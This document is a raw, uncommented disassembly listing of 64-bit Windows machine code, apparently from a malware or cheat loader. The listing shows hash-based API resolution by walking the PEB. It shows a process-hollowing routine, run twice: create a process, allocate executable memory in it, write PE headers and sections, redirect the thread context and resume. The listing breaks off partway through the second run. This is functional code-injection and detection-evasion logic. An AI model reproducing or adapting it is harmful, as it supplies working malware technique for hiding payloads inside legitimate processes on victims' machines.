movss xmm0, dword [0x14021077c]
cvtps2pd xmm0, xmm0
subsd xmm1, xmm0
comisd xmm1, xmmword [0x1401cb4f8]
jb 0x140081c6b
call fcn.140061500
mov rax, qword [0x140214480]
cmp byte [rax + 0x2c], 1
jne 0x140081c6b
cmp byte [rax + 0x29], 1
jne 0x14007f4ec
lea rcx, [rbp + 0x2c98]
call fcn.140090c70
nop
lea rcx, [rbp + 0x35]
call fcn.140088050
mov rcx, rax
call fcn.14008b7b0
mov rdx, rax
lea rcx, [rbp + 0x2c98]
call fcn.140090bd0
lea edx, [r14 + 0x15]
lea rcx, [rbp + 0x2958]
call fcn.140062500
lea rdx, [rbp + 0x2c98]
lea rcx, [rbp + 0x24c8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2958]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2958]
call fcn.140090170
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x26b8], xmm0
mov qword [rbp + 0x26c8], rcx
xorps xmm1, xmm1
movups xmmword [rbp + 0x3290], xmm1
movups xmmword [rbp + 0x32a0], xmm1
movups xmmword [rbp + 0x32b0], xmm1
movups xmmword [rbp + 0x32c0], xmm1
movups xmmword [rbp + 0x32d0], xmm1
movups xmmword [rbp + 0x32e0], xmm1
mov qword [rbp + 0x32f0], rcx
movsxd r14, dword [rax + 0x3c]
add r14, rax
mov qword [rsp + 0x68], r14
cmp dword [r14], 0x4550
jne 0x14007f4cc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007eba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007eba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xefab37ed
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007eba1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007eb80
cmp r8d, 0xc5f88df5
je 0x14007ebab
test r9d, r9d
jne 0x14007eb60
mov rax, qword [rax]
jmp 0x14007eb30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x54e0]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007ec66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ec66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x580a32d8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ec61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ec40
cmp r8d, 0xc87dc70
je 0x14007ec6b
test r9d, r9d
jne 0x14007ec20
mov rax, qword [rax]
jmp 0x14007ebf0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x26b8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3290]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x54e0]
xor ecx, ecx
call r10
test eax, eax
je 0x14007f4cc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007ed56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ed56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x5c7f1363
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ed51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ed30
cmp r8d, 0xa38123b7
je 0x14007ed5b
test r9d, r9d
jne 0x14007ed10
mov rax, qword [rax]
jmp 0x14007ece0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ee26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ee26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x49b073bd
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007ee21
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007ee00
cmp r8d, 0x657bb36
je 0x14007ee2b
test r9d, r9d
jne 0x14007ede0
mov rcx, qword [rcx]
jmp 0x14007edb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26c0]
call r8
test eax, eax
je 0x14007f36e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007eee6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007eee6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xb8cd246b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007eee1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007eec0
cmp r8d, 0x6e6dd652
je 0x14007eeeb
test r9d, r9d
jne 0x14007eea0
mov rax, qword [rax]
jmp 0x14007ee70
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r14 + 0x50]
lea r13, [r14 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x26b8]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007efb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007efb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x42ade4eb
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007efb1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007ef90
cmp r8d, 0x381751cc
je 0x14007efbb
test r9d, r9d
jne 0x14007ef70
mov rcx, qword [rcx]
jmp 0x14007ef40
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r15
mov rbx, qword [rbp + 0x2800]
mov r8, rbx
mov rdx, r12
mov rcx, qword [rbp + 0x26b8]
call r10
xor eax, eax
cmp ax, word [r14 + 6]
jae 0x14007f1f0
mov r14d, eax
nop dword [rax]
nop word [rax + rax]
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007f0a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f0a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xda7923a7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f0a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f080
cmp r8d, 0x88df44f0
je 0x14007f0ab
test r9d, r9d
jne 0x14007f060
mov rax, qword [rax]
jmp 0x14007f030
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [rsi + r14 + 0x118]
mov r8d, dword [rsi + r14 + 0x11c]
add r8, qword [rbp + 0x2800]
mov edx, dword [rsi + r14 + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x26b8]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007f186
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f186
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x5ba0a372
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f181
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f160
cmp r8d, 0xd0899f1d
je 0x14007f18b
test r9d, r9d
jne 0x14007f140
mov rax, qword [rax]
jmp 0x14007f110
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x26b8]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
mov rbx, qword [rbp + 0x2800]
jb 0x14007f010
mov r14, qword [rsp + 0x68]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007f286
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f286
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xfe3d232a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f281
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f260
cmp r8d, 0x999a85b9
je 0x14007f28b
test r9d, r9d
jne 0x14007f240
mov rax, qword [rax]
jmp 0x14007f210
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26c0]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007f346
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f346
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1c7e5406
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f341
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f320
cmp r8d, 0x1fc583f5
je 0x14007f34b
test r9d, r9d
jne 0x14007f300
mov rax, qword [rax]
jmp 0x14007f2d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26c0]
call rdx
xor r15d, r15d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007f3f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f3f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x41c7294b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f3f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f3d0
cmp r8d, 0x292e6bbf
je 0x14007f3fb
test r9d, r9d
jne 0x14007f3b0
mov rax, qword [rax]
jmp 0x14007f380
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26b8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007f4a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f4a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe1a65f7f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f4a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f480
cmp r8d, 0x544593f3
je 0x14007f4ab
test r9d, r9d
jne 0x14007f460
mov rax, qword [rax]
jmp 0x14007f430
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26c0]
call rdx
nop
lea rcx, [rbp + 0x2958]
call fcn.140090180
nop
lea rcx, [rbp + 0x2c98]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2a], 1
jne 0x14007ffac
lea rcx, [rbp + 0x29b8]
call fcn.140090c70
nop
lea rcx, [rbp + 0x36]
call fcn.1400880b0
mov rcx, rax
call fcn.14008b780
mov rdx, rax
lea rcx, [rbp + 0x29b8]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2940]
call fcn.140062500
lea rdx, [rbp + 0x29b8]
lea rcx, [rbp + 0x24e8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2940]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2940]
call fcn.140090170
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x26d0], xmm0
mov qword [rbp + 0x26e0], rcx
xorps xmm1, xmm1
movups xmmword [rbp + 0x3300], xmm1
movups xmmword [rbp + 0x3310], xmm1
movups xmmword [rbp + 0x3320], xmm1
movups xmmword [rbp + 0x3330], xmm1
movups xmmword [rbp + 0x3340], xmm1
movups xmmword [rbp + 0x3350], xmm1
mov qword [rbp + 0x3360], rcx
movsxd r14, dword [rax + 0x3c]
add r14, rax
mov qword [rsp + 0x68], r14
cmp dword [r14], 0x4550
jne 0x14007ff8c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007f666
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f666
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x2f080013
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f661
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f640
cmp r8d, 0x1d934fab
je 0x14007f66b
test r9d, r9d
jne 0x14007f620
mov rax, qword [rax]
jmp 0x14007f5f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x55f0]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007f726
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f726
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x4f40e28a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f721
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f700
cmp r8d, 0x42ff2bf6
je 0x14007f72b
test r9d, r9d
jne 0x14007f6e0
mov rax, qword [rax]
jmp 0x14007f6b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x26d0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x55f0]
xor ecx, ecx
call r10
test eax, eax
je 0x14007ff8c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007f816
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f816
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xdc110109
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f811
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f7f0
cmp r8d, 0xb33cb3cd
je 0x14007f81b
test r9d, r9d
jne 0x14007f7d0
mov rax, qword [rax]
jmp 0x14007f7a0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007f8e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f8e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xbde37df7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007f8e1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007f8c0
cmp r8d, 0x11daabbc
je 0x14007f8eb
test r9d, r9d
jne 0x14007f8a0
mov rcx, qword [rcx]
jmp 0x14007f870
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26d8]
call r8
test eax, eax
je 0x14007fe2e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007f9a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007f9a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x612c85da
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007f9a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007f980
cmp r8d, 0x38ea5547
je 0x14007f9ab
test r9d, r9d
jne 0x14007f960
mov rax, qword [rax]
jmp 0x14007f930
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r14 + 0x50]
lea r13, [r14 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x26d0]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007fa76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007fa76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0xa9a88625
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007fa71
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007fa50
cmp r8d, 0x7cde758a
je 0x14007fa7b
test r9d, r9d
jne 0x14007fa30
mov rcx, qword [rcx]
jmp 0x14007fa00
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r15
mov rbx, qword [rbp + 0x2800]
mov r8, rbx
mov rdx, r12
mov rcx, qword [rbp + 0x26d0]
call r10
xor eax, eax
cmp ax, word [r14 + 6]
jae 0x14007fcb0
mov r14d, eax
nop dword [rax]
nop word [rax + rax]
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007fb66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007fb66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x4455ea79
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007fb61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007fb40
cmp r8d, 0xac35ee6
je 0x14007fb6b
test r9d, r9d
jne 0x14007fb20
mov rax, qword [rax]
jmp 0x14007faf0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [rsi + r14 + 0x118]
mov r8d, dword [rsi + r14 + 0x11c]
add r8, qword [rbp + 0x2800]
mov edx, dword [rsi + r14 + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x26d0]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007fc46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007fc46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x8f2c0d7e
